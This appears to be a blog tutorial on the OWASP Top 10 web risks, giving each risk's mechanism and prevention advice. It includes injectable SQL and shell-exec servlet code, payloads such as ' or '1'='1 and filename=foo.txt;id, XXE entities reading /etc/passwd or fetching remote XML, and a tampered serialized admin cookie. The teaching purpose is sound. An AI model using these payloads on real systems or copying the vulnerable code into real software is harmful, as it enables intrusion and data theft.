OWASP Top 10 Securities Consideration In Web Applications

Introduction

Here I will discuss about OWASP top 10 securities considerations in web applications. These applications could be anything from standalone to enterprise to web applications. OWASP is an acronym that stands for Open Web Application Security Project (OWASP) and it is a global community that continuously focuses on the improvement of all types of software.

A collective efforts from the application security experts around the world, the top ten has been adopted by a number of high profile organizations to aid in their internal security efforts that produce more secure code for the software. The top 10 is not a standard but a document that is specially helpful for professionals new to web security that ensures minimizing the risks in their web applications.

Let’s see OWASP top 10 security risks for software applications.

1. Injection

Injection attacks occur when malicious or untrusted data is sent to interpreters as part of a command or query. The attacker’s input data can trick an interpreter within an application into executing the unintended commands or queries without proper authentication and authorization. The injection attacks could include the following:

  • SQL/NoSQL injection (Database Queries)
  • LDAP injection
  • Operating System injection (Shell commands)
  • XML injection (XML, DTD, XPath Queries)

The idea to defend such type of injections is to never trust any input data and always use defensive techniques like validation, escaping, sanitization, etc. to reduce the risk in applications.

SQL Injection

A SQL injection attack consists of insertion of a SQL statement into your application via user input data. This malicious input is sent to the application via a traditional web client or API call.

Examples:

An application uses untrusted data in the construction of the following vulnerable SQL call:

String sql = "SELECT * FROM customer WHERE custID = '" + request.getParameter("id") + "'";

Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g. Hibernate Query Language (HQL)):

Query hsql = session.createQuery("FROM customer WHERE custID = '" + request.getParameter("id") + "'");

In both cases, the attacker modifies the id parameter value in their browser to send: ' or '1'='1. For example:

http://example.com/app/customerView?id=' or '1'='1

This would execute a database call that actually executes the SQL portion of the attack payload ' OR '1'='1, which will always return true. If this particular query returns true, it is possible to bypass authentication entirely without knowing the username or password. Since the ' OR 1=1 portion of the command actually evaluates to true, the statement completes and the next instruction is followed which in this case would be provisioning an action.

These changes of both queries to return all the records from the customer table. More dangerous attacks could modify or delete data, or even invoke stored procedures.

How To Prevent

The following points should be considered to avoid SQL injections:

  • Use parameterized SQL statements
  • Use server side input validations
  • Use LIMIT or other SQL controls to prevent mass disclosure of records

Command Injection

Command injection is a vulnerability that allows arbitrary commands to be executed on the Operating System (OS) that is hosting the application. These types of attacks occur when an application passes unsafe user input data (such as cookies, POST data, or HTTP headers) to a system shell command. This kind of command will usually run with the same permissions as the application running on the host machine.

This is an example of vulnerable source code written in Servlet. The Servlet relies on a system call “rm” with user-defined input “filename” to delete the file. The payload filename=foo.txt;id uses a semicolon to append the simple OS level command “id”. The output of this command is then returned back to the user.

public void doGet( HttpServletRequest request, HttpServletResponse response ) throws ServletException, IOException {
    String filename = request.getParameter( "filename" );
	
	Process process = Runtime.getRuntime().exec("rm " + filename);

	int exitCode = process.waitFor();

	if (exitCode == 0)
		System.out.println("File Deleted");
	
	response.sendRedirect("deleteSuccess.jsp");
}

Request and response could be as given below:

// HTTP Request
// https://example.com/deleteServlet?filename=foo.txt;id
 
// HTTP Response
// FIle successfully deleted...
// uid=33(www-data) gid=33(www-data) groups=33(www-data)

The Servlet application is written insecurely in that it is directly concatenating an OS command (rm) and user input (filename). In the example, the attacker adds a semicolon to the end of the file name which tells the operating system to end the first command of rm filename and add an additional command, id.

The id command in Linux operating systems returns the User ID and Group ID of the current user who ran the command which is the Servlet application’s user ID in this example. You see that the user and group information returned are tied to www-data which is a web application user commonly utilized in web servers such as Nginx and Apache server.

This data is very useful for an attacker to begin mapping out the inner-workings of the application and understand the permissions associated with the application. As the attacker learns more about the application, he/she may then be able to input more destructive and revealing commands to amplify the attack.

How To Prevent

  • Never allow user input to be used in the OS command.
  • If system-level commands must be executed, strongly consider using framework-specific API calls.
  • If user input data absolutely necessary to pass to an OS command, then validate, and sanitize all user input

2. Broken Authentication

Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.

You just not only have to take care of login and creating a session identifier, but also features like password change requests, forgotten password functionality, and user registration should be treated with same amount of care when it comes to security controls.

Authentication

In authentication process an entity is confirmed as authentic. An entity may be an end user who enters credentials (username and password) into web application, or an entity may be a software program that utilizes a token to verify its authenticity.

There are different types of authentication mechanisms:

HTTP Basic Authentication

In this method a client provides username and password in the HTTP authorization header while making a request to the server for every request. The header contains concatenated username and password encoded using Base64. The HTTP basic authentication is considered as unsecured most for the following reasons:

  1. The encoded username and password are easily reversible, and it increases the security threats
  2. Being HTTP a stateless protocol, it does not give developers a way to log users out

Password Authentication

Password based authentication has been a long de facto method for authenticating an entity to the system and application. In this authentication method, clients submit the password along with their identifier, such as, id or email address. The password gets hashed once submitted and validated against a list of hashed passwords.

Multi-Factor Authentication

In multi-factor authentication (MFA), time-based one-time password (OTP) is used. MFA requires a user must enter his/her password into the system or application and he/she also must enter the OTP which is sent to his/her mobile/email to gain access to the system or application. The OTP remains valid for a certain period.

Authentication Security Considerations

  1. Enforce strong password that requires a minimum size and complexity. You can even blacklist the use of known-weak passwords (such as “password”, “pwd”, “pass”, etc.).
  2. Password change and reset controls are just as important to secure as the login page.
  3. Always protect authentication credentials (such as passwords) with an adaptive one-way function with a slow work factor (such as bcrypt). This will make passwords extremely difficult to reverse into plaintext in case of a database compromise.
  4. Implement two-factor authentication for your application and make sure to enforce it for case sensitive actions.
  5. Protocols that do not require passwords (such as OAuth, OpenID, or SAML), make sure to reference the specific Synopsys courses for each protocol, as they each present their own security challenges.
  6. Do not ship or deploy with any default credentials, particularly for admin users.
  7. Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.

Session Security

Session is built to allow users securely persist state while using application. A session identifier is used in the session for tracking purpose. If this session identifier falls into a hand of hacker then it can be used to hijack a victim’s session and a hacker can completely bypass the authentication protection.

Stateful Session

Stateful sessions are generally maintained on the server side, often as a database entry. One such method is cookie-based authentication in stateful session management. Example of cookie-based session is a user entering credentials (such as a username and password) in an HTML form. The credentials are sent to the server using a POST request, and the server validates the authenticity of these credentials. On successful verification of the identity, the server sends a Set-Cookie HTTP response header to the user agent. The user agent or browser then puts the value in a cookie jar, and the cookie will be sent along with every request made to the same origin in the Cookie HTTP header. The server then verifies the authenticity of the cookie with a stored value and performs the requested action based on the result of the verification.

Stateless Session

Nowadays modern, distributed services have been adapting session tokens that do not rely on storing session data on the server side. So stateless sessions rely on cryptography to consume “opaque” tokens from the client. These tokens are encrypted by a private key stored on the server side.

At present JSON Web Tokens (JWTs) are a very popular and widely adopted form of stateless token. A JWT is self-contained and consists of three parts:

  1. Header: contains the type of the token and the hashing algorithm.
  2. Payload: contains the claims, which are statements about an entity (typically, the user) and additional metadata.
  3. Signature: used to verify the sender of the JWT and to ensure that the message wasn’t changed along the way.

Session Security Considerations

  1. Keep session IDs private. So, session IDs should never be exposed in URLs.
  2. Expire sessions automatically after a predetermined amount of time in order to minimize the time period an attacker can launch attacks on active sessions.
    • Absolute timeouts define a maximum amount of time a session can be active, regardless of whether a user is actively using the application or not.
    • Idle timeouts expire sessions after a period of inactivity.
  3. When ending a session on logout or timeout, it is important to destroy and invalidate the session. Deleting a cookie that holds a “session id” is often not fully destroying the session.
    • If a token in stateless session is compromised, it should be included in a blacklist that is stored on the server side and checked with every request.
    • Another layer of defense is to set very short expiration dates on stateless tokens. Once the token expires, the user or service is forced to re-authenticate.
    • After being destroyed, the session should not have the ability to be used again.
  4. Always use HTTPS for applications. Without encryption in place, an attacker could easily sniff the traffic to obtain a valid token or session identifier.
  5. Always use security attributes such as HttpOnly, Secure, and SameSite for cookies that contain session identifiers.
  6. Make session identifiers with high entropy. In other words, session identifiers should never be predictable and be at least 20 bytes in length.

3. Sensitive Data Exposer

In modern days, web applications are storing and transmitting more sensitive data than ever before. From financial, healthcare and PII; all rely on software to operate their businesses. The challenge to the engineers developing this software is keeping this sensitive information protected from an ever-increasing number of threats.

Many web applications and APIs do not properly protect sensitive data such as financial, healthcare and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

Secure Sensitive Data

  1. Always deploy strong encryption mechanisms at rest or in transit.
  2. Make sure application security configurations are correctly setup otherwise it may expose your application’s sensitive data.
  3. Do not store your application users’ passwords as plain text and force always one-way, irreversible adaptive function with a strong factor.
  4. Avoid storing sensitive data if your business does not require. If at all your business requires to store sensitive data, such as, social security numbers or credit card numbers then one-way anonymization techniques can be used to reduce the risk of this data ever being exposed as plain texts.
    • Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
  5. Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
  6. Disable caching for response that contain sensitive data.

4. XML External Entities

An XML External Entity (XXE) attack is a type of XML parser vulnerability that many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions and may be vulnerable.

If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.

Being vulnerable to XXE attacks likely means that the application is vulnerable to denial-of-service (DoS) attacks including the Billion Laughs attack.

XML documents can leverage a Document Type Definition (DTD) to carefully validate whether a given XML document adheres to a specific XML structure. If the document is not well-formed, then it is often considered invalid and discarded. Thus, a DTD is a way to validate and enforce a common structure of a type of XML document. The DTD standard is largely discouraged in place of the newer XML Schema standard for XML validation.

One feature of a DTD is the ability to define entities that are simply aliases of other data. These aliases can consist of character strings or just a single character. These are used so that the writer of an XML document can refer to what are essentially constants defined in the DTD.

These entities can refer to a character string written literally in the <!ENTITY ... > tag or they may refer to a network resource. When the entity is evaluated, the contents of the resource are inserted in place of the entity alias.

Examples of XXE attacks:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>
	&xxe;
</foo>

In the above the, the hackers may try to extract data from the server by placing the file /etc/password. An attacker may inject another malicious XML document from the URL by replacing the above line:

<!ENTITY xxe SYSTEM "https://example.com/hack.xml" >

How To Prevent

  1. Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
  2. Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Update SOAP to SOAP 1.2 or higher.
  3. Disable XML external entity and DTD processing in all XML parsers in the application.
  4. Implement positive (“whitelisting”) server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
  5. Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.

5. Broken Access Control

Applications typically require some form of rights management, which is built to grant actions on a particular resource to users who have been approved. This is called access control that falls under authorization. A user may be authenticated but may not be authorized to access all resources of an application.

Access control enforces policy such that users cannot act outside of their intended permissions. Managing access control becomes harder to get right as an application or system grows and becomes more complex.

Restrictions on what authenticated users can do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.

How To Protect

  1. Apart from public resources, deny by default. Apply a framework-wide control filter.
  2. Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
  3. Access controls should enforce the ownership in place, rather than accepting that the user can create, read, update, or delete any record.
  4. Disable web server directory listing and ensure file metadata (e.g. .git) and backup files are not present within web roots.
  5. Log access control failures, alert admins when appropriate (e.g. repeated failures).
  6. Rate limit API and controller access to minimize the harm from automated attack tooling.
  7. JWT tokens should be invalidated on the server after logout.

6. Security Misconfigurations

Security misconfiguration is the most seen issue and Security misconfigurations typically occur when a common safeguard for a web application is incorrectly implemented. This can take the form of weak configurations, framework flaws, missing patches, and more. Such flaws frequently give attackers unauthorized access to some system data or functionality. Occasionally, such flaws result in a complete system compromise.

All operating systems, frameworks, libraries, and applications should be securely configured, and they must be patched/upgraded in a timely fashion.

The security misconfigurations mar occur for any reasons as given in the following points:

  1. Missing appropriate security hardening across any part of the application stack, or improperly configured permissions on cloud services.
  2. Unnecessary features are enabled or installed (e.g., unnecessary ports, services, pages, accounts, or privileges).
  3. Default accounts and their passwords still enabled and unchanged.
  4. Error handling reveals stack traces or other overly informative error messages to users.
  5. For upgraded systems, latest security features are disabled or not configured securely.
  6. The security settings in the application servers, application frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.
  7. The server does not send security headers or directives, or they are not set to secure values.
  8. The software is out of date or vulnerable.

How To Prevent

  1. Run tools and scanners and write automated tests to audit for the existence of security misconfigurations.
  2. Ensure the settings in your application frameworks are set to secure values. This means changing all default password values, turning off verbose debugging in production, and never using development or staging secrets in production.
  3. Keep all software on the Operating System (OS) up to date, including the OS.
  4. Patch third-party libraries and dependencies regularly. Use a tool like the OWASP Dependency Check to help with these efforts.
  5. Make sure all administrative consoles, file directory listings, sample data, and unnecessary ports are blocked and not accessible through internet.
  6. A minimal platform without any unnecessary features, components, documentation, and samples. Remove or do not install unused features and frameworks.
  7. A segmented application architecture that provides effective, secure separation between components or tenants, with segmentation, containerization, or cloud security groups (ACLs).
  8. Sending security directives to clients, e.g., Security Headers.

7. Cross Site Scripting

Cross Site Scripting (XSS) flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

The user’s browser has no way to know that the script should not be trusted, and hence the script gets executed. The malicious script can then transmit private data – like cookies or other session information – to the attacker, redirect the victim to web content controlled by the attacker, or perform other malicious operations on the user’s machine, all under the guise of the vulnerable site.

How To Prevent

  1. Escaping all untrusted data before displaying its value back to the application is a critical protection against XSS attacks. Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS.
  2. HTML sanitization using a library is needed that can parse and sanitize the HTML input both at client and server side.
  3. It’s important to use safe Javascript functions and variable assignments that will not cause XSS if evil Javascript is included in user content. Avoid using calls like .innerHTML and document.write(). Instead, use safe Javascript functions like createTextNode() and assignments like .textContent, .value and .className, which are all resistant to XSS when passing data between different Javascript functions.
  4. While handling JSON data, ensure the Content-Type HTTP header is set to application/json and not text/html so browsers and other clients properly recognize data as JSON. Avoid using eval() to convert JavaScript objects. Instead use JSON.parse(data) or data.toJSON().
  5. Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating control against XSS.
  6. Validate all input. Whitelist validation can be used as one layer of defense but should not be your only XSS prevention mechanism.

8. Insecure Deserialization

Serialization is the process an application utilizes to transform data stored in memory to a standardized format that is suitable for persistent storage or transmission. A simple but common use for serialization in modern web application frameworks is to store user session identifiers in a backend database, creating a unique ID for each user session in a format that does not require storing the entire user object.

Deserialization is the opposite of serialization. In user session identifier example, you would deserialize the serialized session object to access the objects within, such as user id, role, and so on.

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

Let’s say the following cookie has the user with role user.

a:4:{i:0;i:132;i:1;s:7:"Alice";i:2;s:4:"user";i:3;s:32:"hjfg6a8b3bea87fes54e3dxsnsdf3c88bc231";}

An attacker changes the serialized object to give him/her admin privileges:

a:4:{i:0;i:132;i:1;s:7:"Bob";i:2;s:4:"admin";i:3;s:32:"hjfg6a8b3bea87fes54e3dxsnsdf3c88bc231";}

How To Prevent

  1. Perform deserialization in low-privilege, isolated, environments.
  2. Restrict or monitor incoming and outgoing network connectivity.
  3. Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes.
  4. Log and alert on deserialization failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
  5. Implement integrity checks on digital signatures on serialized objects to prevent hostile object creation or data tampering.

9. Using Components with Known Vulnerabilities

Third-party libraries and software are commonplace in modern software development. Using third-party and open-source components can greatly speed up your development time, but they should be handled with caution.

If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

How To Prevent

  • Perform an inventory audit of your third-party dependencies. Remove unused dependencies, unnecessary features, components, files, and documentation.
  • Establish and follow security policies governing the use of third-party components. These policies should require security testing procedures, patching timelines, and evaluation criteria for introducing a new third-party component.
  • Evaluate the source repository used to obtain third-party components. For example, downloading a third-party library from a compromised repository can lead to a security flaw even if the component itself isn’t vulnerable.
  • Stay informed about the third-party components that your systems rely on. Following mailing lists, public vulnerability databases, trusted security blogs, word of mouth, and other threat intelligence platforms can greatly reduce your time to remediation if a critical vulnerability is announced.
  • Consider the need for introducing a third-party component in your application versus writing the functionality in-house.
  • Third-party components can have their own dependencies, which can be even more difficult to keep track of. Consider choosing third-party components and libraries that do not have excessive, one-off dependencies themselves.

10. Insufficient Logging and Monitoring

Logging and monitoring have been a necessity for system administrators and developers since the early days of software systems. Historically, most logging and monitoring efforts have been focused on the collection of operational metrics within an isolated computer system or complex network. Routine operational logs such as CPU usage, network throughput, latency, and critical system events have been used by administrators to debug problems and maintain system health.

Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data.

Examples Of insufficient Logging

  • Sensitive actions such as successful logins, failed logins, or password changes are not logged.
  • Logs are stored in only one location with no redundancy.
  • Server errors or warnings such as “500 Bad Request” error are not logged.
  • Traffic from vulnerability scanning tools goes undetected.
  • Application logs do not trigger alerts in an adequate amount of time.
  • Logs are not adequately protected and may be modified or deleted by an adversary.

How To Prevent

  • Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.
  • Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
  • Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
  • Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.

That’s all about OWASP top 10 securities considerations in software applications.

Author: Soumitra

Hi, I am, Soumitra, the owner of roytuts.com and it is my passion for sharing my knowledge and I have been writing blogs on various technologies since 2014. If you like my tutorials, you may also want to like my Facebook Page, follow me on Twitter, Github.

Leave a Reply

Your email address will not be published. Required fields are marked *